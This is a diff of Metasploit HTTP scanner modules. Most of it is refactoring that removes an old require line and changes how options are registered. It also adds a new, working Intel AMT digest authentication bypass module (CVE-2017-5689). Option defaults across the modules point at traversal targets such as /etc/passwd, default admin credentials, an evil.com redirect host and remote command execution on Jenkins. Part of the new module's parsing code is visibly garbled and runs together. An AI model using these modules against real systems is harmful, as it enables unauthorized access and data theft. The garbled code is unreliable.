false, "HTTP URI Query", '']), OptString.new('DATA', [ false, "HTTP Body/Data Query", '']) - ], self.class) + ]) register_advanced_options( [ OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index 3356508d56..4bd920ff19 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb index 9810b6acaa..9b90360715 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']), OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]), - ], self.class) + ]) deregister_options('RPORT') end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index b6bcfb05eb..2cc1f3d6d0 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]) - ], self.class) + ]) end def port_open? diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb index bcc43e883d..e0ce51e87e 100644 --- a/modules/auxiliary/scanner/http/file_same_name_dir.rb +++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PATH', [ true, "The directory path to identify files", '/']), OptString.new('EXT', [ true, "File extension to use", '.aspx']), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index 75e4e8bf90..12b81c4fef 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wmap", "wmap_files.txt") ] ) - ], self.class) + ]) register_advanced_options( [ @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary ), OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]), OptInt.new('TestThreads', [ true, "Number of test threads", 25]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb index cbaf9fe9d3..1950f51889 100644 --- a/modules/auxiliary/scanner/http/frontpage_login.rb +++ b/modules/auxiliary/scanner/http/frontpage_login.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 96d9d7d8b1..e24f322ae2 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 4de859464c..01b894f1b4 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/gitlab_login.rb b/modules/auxiliary/scanner/http/gitlab_login.rb index 1c9e01bf03..448d7e4382 100644 --- a/modules/auxiliary/scanner/http/gitlab_login.rb +++ b/modules/auxiliary/scanner/http/gitlab_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/gitlab' @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername', [ true, 'The username to test', 'root' ]), OptString.new('HttpPassword', [ true, 'The password to test', '5iveL!fe' ]), OptString.new('TARGETURI', [true, 'The path to GitLab', '/']) - ], self.class) + ]) register_autofilter_ports([ 80, 443 ]) diff --git a/modules/auxiliary/scanner/http/gitlab_user_enum.rb b/modules/auxiliary/scanner/http/gitlab_user_enum.rb index da37582bf4..ce8d4a01af 100644 --- a/modules/auxiliary/scanner/http/gitlab_user_enum.rb +++ b/modules/auxiliary/scanner/http/gitlab_user_enum.rb @@ -4,7 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'json' class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, 'Path to GitLab instance', '/']), OptInt.new('START_ID', [true, 'ID number to start from', 0]), OptInt.new('END_ID', [true, 'ID number to enumerate up to', 50]) - ], self.class) + ]) end def run_host(_ip) diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 916d510f21..25d6dfca67 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary # There is no TARGETURI because when Glassfish is installed, the path is / Opt::RPORT(4848), OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']), - ], self.class) + ]) end # diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb index 2a51219b4c..a4815ffbe5 100644 --- a/modules/auxiliary/scanner/http/goahead_traversal.rb +++ b/modules/auxiliary/scanner/http/goahead_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(80), OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index a8db31c196..7210995556 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(7181), # Also 7180 can be used OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) - ], self.class) + ]) end def is_groupwise? diff --git a/modules/auxiliary/scanner/http/host_header_injection.rb b/modules/auxiliary/scanner/http/host_header_injection.rb index 9de954628f..f7e0dc5788 100644 --- a/modules/auxiliary/scanner/http/host_header_injection.rb +++ b/modules/auxiliary/scanner/http/host_header_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETHOST', [true, 'The redirector target', 'evil.com']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index 0d450d626b..84f2ff51d4 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\ OptInt.new('DEPTH', [true, 'Traversal depth', 6]) - ], self.class) + ]) end def is_imc? diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index 7521cecfb1..493682b0fa 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) - ], self.class) + ]) end def is_imc? diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index e1051a09d8..41ec9e2c9f 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) - ], self.class) + ]) end def is_imc? diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 2b3c981d67..d22e4ccddd 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\bin\ OptInt.new('DEPTH', [true, 'Traversal depth', 4]) - ], self.class) + ]) end def is_imc? diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index 25d6ca9f37..d33cad0782 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\windows\\win.ini']) - ], self.class) + ]) end def is_imc_som? diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index 231654fd8d..6582550087 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) register_autofilter_ports([ 8080 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 10ec7754ba..861c93b030 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) register_autofilter_ports([ 8080 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 17b63d8bad..0a2c2cdd3d 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']), - ], self.class) + ]) register_autofilter_ports([ 8080 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 05b63143b0..c324d06777 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/smh' require 'metasploit/framework/credential_collection' @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/proxy/ssllogin']), OptString.new('CPQLOGIN', [true, 'The homepage of the login', '/cpqlogin.htm']), OptString.new('LOGIN_REDIRECT', [true, 'The URL to redirect to', '/cpqlogin']) - ], self.class) + ]) end def get_version(res) diff --git a/modules/auxiliary/scanner/http/http_header.rb b/modules/auxiliary/scanner/http/http_header.rb index d344d683a2..d3c83b1fb4 100644 --- a/modules/auxiliary/scanner/http/http_header.rb +++ b/modules/auxiliary/scanner/http/http_header.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index 18a528107f..71ad29d1df 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 4df7c0804e..bfc1e49852 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/http' @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)" ]), OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "GET" ]) - ], self.class) + ]) register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) deregister_options('USERNAME', 'PASSWORD') diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index ae076e5169..81a2daf00f 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILENAME', [true, "The file to attempt to write or delete", "msf_http_put_test.txt"]), OptString.new('FILEDATA', [false, "The data to upload into the file", "msf test file"]), OptString.new('ACTION', [true, "PUT or DELETE", "PUT"]) - ], self.class) + ]) end # diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index 6f3f92fc8e..6faa60f79d 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -8,8 +8,6 @@ # ipax, neriberto, flambaz, bperry, egypt, and sinn3r for help # -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary 'Wordlist file to brute force', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sensitive_files.txt') ]) - ], self.class) + ]) register_advanced_options( [ @@ -75,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TRIGGER', [false,'Trigger string. Ex: ../', '']), OptString.new('FILE', [false, 'Default file to read for the fuzzing stage', '']), OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 9843f1749e..5f095adfac 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index 248222bd78..57692cece9 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require "net/dns/resolver" class MetasploitModule < Msf::Auxiliary @@ -30,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ # OptAddressRange.new('RHOSTS', [false, "The target address, range, or CIDR identifier"]), OptString.new('HTTPBL_APIKEY', [ true, "Your HTTP:BL api key"]) - ], self.class) + ]) end # Not compatible today diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index 22258ad680..1c9336130a 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb index 680b6a8146..ece6904621 100644 --- a/modules/auxiliary/scanner/http/influxdb_enum.rb +++ b/modules/auxiliary/scanner/http/influxdb_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']), OptString.new('USERNAME', [true, 'The username to login as', 'root']), OptString.new('PASSWORD', [true, 'The password to login with', 'root']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 9a63b5f10e..4dcd767c48 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(443), OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb new file mode 100644 index 0000000000..750c4eeef1 --- /dev/null +++ b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Intel AMT Digest Authentication Bypass Scanner', + 'Description' => %q{ + This module scans for Intel Active Management Technology endpoints and attempts + to bypass authentication using a blank HTTP digest (CVE-2017-5689). This service + can be found on ports 16992, 16993 (tls), 623, and 624(tls). + }, + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-5689' ], + [ 'URL', 'https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability' ], + [ 'URL', 'https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr' ], + ], + 'DisclosureDate' => 'May 05 2017' + ) + + register_options( + [ + Opt::RPORT(16992), + ]) + end + + # Fingerprint a single host + def run_host(ip) + begin + connect + res = send_request_raw({ 'uri' => '/hw-sys.htm', 'method' => 'GET' }) + unless res && res.headers['Server'].to_s.index('Intel(R) Active Management Technology') + disconnect + return + end + + vprint_status("#{ip}:#{rport} - Found an Intel AMT endpoint: #{res.headers['Server']}") + + unless res.headers['WWW-Authenticate'] =~ /realm="([^"]+)".*nonce="([^"]+)"/ + vprint_status("#{ip}:#{rport} - AMT service did not send a valid digest response") + disconnect + return + end + + realm = $1 + nonce = $2 + cnonce = Rex::Text.rand_text(10) + + res = send_request_raw( + { + 'uri' => '/hw-sys.htm', + 'method' => 'GET', + 'headers' => { + 'Authorization' => + "Digest username=\"admin\", realm=\"#{realm}\", nonce=\"#{nonce}\", uri=\"/hw-sys.htm\", " + + "cnonce=\"#{cnonce}\", nc=1, qop=\"auth\", response=\"\"" + } + }) + + unless res && res.body.to_s.index("Computer model") + vprint_error("#{ip}:#{rport} - AMT service does not appear to be vulnerable") + return + end + + proof = res.body.to_s + proof_hash = nil + + info_keys = res.body.scan(/

([^\<]+)<\/p>/).map{|x| x.first.to_s.gsub("/", "/") } + if info_keys.length > 0 + proof_hash = {} + proof = "" + + info_vals = res.body.scan(/([^\<]+) ip, + :proto => 'tcp', + :port => rport, + :type => 'intel.amt.system_information', + :data => proof_hash + ) + + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Intel AMT Digest Authentication Bypass", + :refs => self.references, + :proof => proof + }) + + rescue ::Timeout::Error, ::Errno::EPIPE + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 5edbf1e00b..43d9fe0de4 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -1,5 +1,4 @@ -require 'msf/core' require 'metasploit/framework/login_scanner/ipboard' require 'metasploit/framework/credential_collection' @@ -23,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [true, "The directory of the IP Board install", "/forum/"]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb index a50fa71f9f..f6dd981946 100644 --- a/modules/auxiliary/scanner/http/jboss_status.rb +++ b/modules/auxiliary/scanner/http/jboss_status.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The JBoss status servlet URI path', '/status']) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 5f58b1af05..3c2b251c53 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 92a1b8f735..4280549ba9 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -4,7 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'cgi' class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]), OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]), - ], self.class) + ]) end def fingerprint_os(ip) diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 8cd7393e43..fb3aa20483 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -8,7 +8,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index fc40eff6c1..4894b5592d 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -3,7 +3,6 @@ # 